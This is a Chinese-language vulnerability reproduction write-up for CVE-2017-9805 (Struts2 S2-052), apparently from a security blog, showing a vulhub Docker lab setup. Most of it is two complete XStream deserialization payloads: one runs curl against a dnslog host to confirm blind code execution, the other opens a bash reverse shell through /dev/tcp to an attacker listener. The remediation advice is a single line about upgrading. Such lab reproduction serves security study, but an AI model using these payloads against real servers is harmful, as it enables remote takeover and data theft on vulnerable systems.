CVE-2017-9805 S2-052远程代码执行漏洞
漏洞 远程 2017 CVE 代码执行 S2 052
2023-06-13 09:15:43 时间
1 漏洞信息
漏洞名称 | 远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2017-9805 |
危害等级 | 高危 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Struts2 |
受影响版本 | 2.1.2 <= Struts2 <= 2.3.33,2.5 <= Struts2 = 2.5.12 |
漏洞概述 | REST plugin是其中的一个处理传入URL请求的插件。 攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。 |
2 环境搭建
2.1 环境概述
- Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-052
docker-compose up -d
访问http://192.168.146.158:8052/orders.xhtml
3 漏洞复现
由于该漏洞是无回显的,所以需要我们使用dnslog进行判断。http://www.dnslog.cn/
添加一个恶意payload,并且修改Content-Type为xml。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>curl</string>
<string>http://fjw7qo.dnslog.cn</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
发现有数据,说明该漏洞成功执行了curl http://fjw7qo.dnslog.cn
,对我们申请的dnslog进行了访问。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
注意:需要把&符号更改为&
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
访问漏洞url并且添加恶意payload进行抓包。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
攻击机进行监听,然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案:升级至比受漏洞影响的更高版本。
相关文章
- 业务安全(逻辑漏洞)
- HTTP.sys远程代码执行漏洞修复
- Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
- HTTP.SYS远程代码执行漏洞
- 漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)
- 经验分享 | 利用xpath爬取edu漏洞列表
- CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞
- CVE-2022-30525:Zyxel防火墙未授权远程命令执行漏洞
- CVE-2019-0230 S2-059 远程代码执行漏洞
- CVE-2018-11776 S2-057 远程代码执行漏洞
- CVE-2017-12611 S2-053 远程代码执行漏洞
- CVE-2010-1870 S2-005 远程代码执行漏洞
- CVE-2011-3923 S2-009 远程代码执行漏洞
- CVE-2013-2134 S2-015 远程代码执行漏洞
- 从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
- 顶会论文解读|AEM:Linux内核漏洞跨版本利用可行性评估
- 谷歌开源漏洞扫描工具OSV-Scanner
- 黑客利用零日漏洞窃取General Bytes ATM 机上的加密货币
- CNNVD发布漏洞赏金计划
- tp6.0.13反序列化漏洞
- Oracle 19c Linux PSU 19.17最新补丁包下载 20221018 CVE DB OJVM OPatch 34449114 34449117 漏洞 等保支持远程修复 2022年10月
- Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法
- 研究发现对于 Windows 10 而言大多数零日漏洞都已无效
- 新闻速读 > 2019 年热门开源项目中的漏洞增加了一倍以上
- 思科漏洞被黑客利用 全球20万台路由器中招
- 相爱相杀:微软披露谷歌Chrome存在远程代码执行漏洞
- Tomcat信息泄露与远程代码执行漏洞
- “优雅”的Linux漏洞:用罕见方式绕过ASLR和DEP保护机制
- PHP multipart.form-data 远程DOS漏洞
- PHP multipart/form-data 远程DOS漏洞
- MSSQL注入漏洞源码知多少?(mssql注入漏洞源码)
- Linux用户要注意修复漏洞
- ThinkPHP框架任意代码执行漏洞的利用及其修复方法